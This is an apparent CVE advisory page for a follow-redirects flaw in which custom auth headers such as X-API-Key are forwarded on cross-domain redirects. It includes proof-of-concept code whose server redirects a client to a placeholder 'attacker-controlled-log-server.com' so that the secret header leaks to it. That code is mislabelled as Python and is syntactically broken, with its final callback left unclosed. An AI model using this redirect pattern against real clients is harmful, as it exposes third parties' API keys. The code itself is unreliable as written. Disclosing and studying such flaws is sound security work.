CVE-2026-40895

Description

follow-redirects is an open source, drop-in replacement for Node's `http` and `https` modules that automatically follows redirects. Prior to 1.16.0, when an HTTP request follows a cross-domain redirect (301/302/307/308), follow-redirects only strips authorization, proxy-authorization, and cookie headers (matched by regex at index.js). Any custom authentication header (e.g., X-API-Key, X-Auth-Token, Api-Key, Token) is forwarded verbatim to the redirect target. This vulnerability is fixed in 1.16.0.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:follow-redirects_project:follow-redirects:*:*:*:*:*:node.js:*:* - VULNERABLE

follow-redirects < 1.16.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

const http = require('http');
const followRedirects = require('follow-redirects');

// Simulate a malicious server that redirects to a third party
const maliciousServer = http.createServer((req, res) => {
    console.log('[Malicious Server] Received request with headers:', JSON.stringify(req.headers));
    // Respond with a 302 redirect to an attacker-controlled domain
    res.writeHead(302, { 'Location': 'http://attacker-controlled-log-server.com/collect' });
    res.end();
});

maliciousServer.listen(8080, () => {
    console.log('Malicious server listening on port 8080...');

    // Victim client code using vulnerable follow-redirects
    const options = {
        hostname: 'localhost',
        port: 8080,
        path: '/api/data',
        method: 'GET',
        headers: {
            'X-API-Key': 'SECRET_KEY_12345', // Custom auth header vulnerable to leakage
            'Authorization': 'Bearer token123' // Standard header (will be stripped)
        }
    };

    const req = followRedirects.http.request(options, (res) => {
        console.log(`[Client] Redirected to: ${res.responseUrl}`);
        res.on('data', (chunk) => {});
    });

    req.on('error', (e) => console.error(e));
    req.end();
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-40895
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-40895
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-40895/
[4] VulDB https://vuldb.com/cve/CVE-2026-40895
[5] https://github.com/follow-redirects/follow-redirects/security/advisories/GHSA-r4q5-vmmm-2653

Raw JSON Data

JSON

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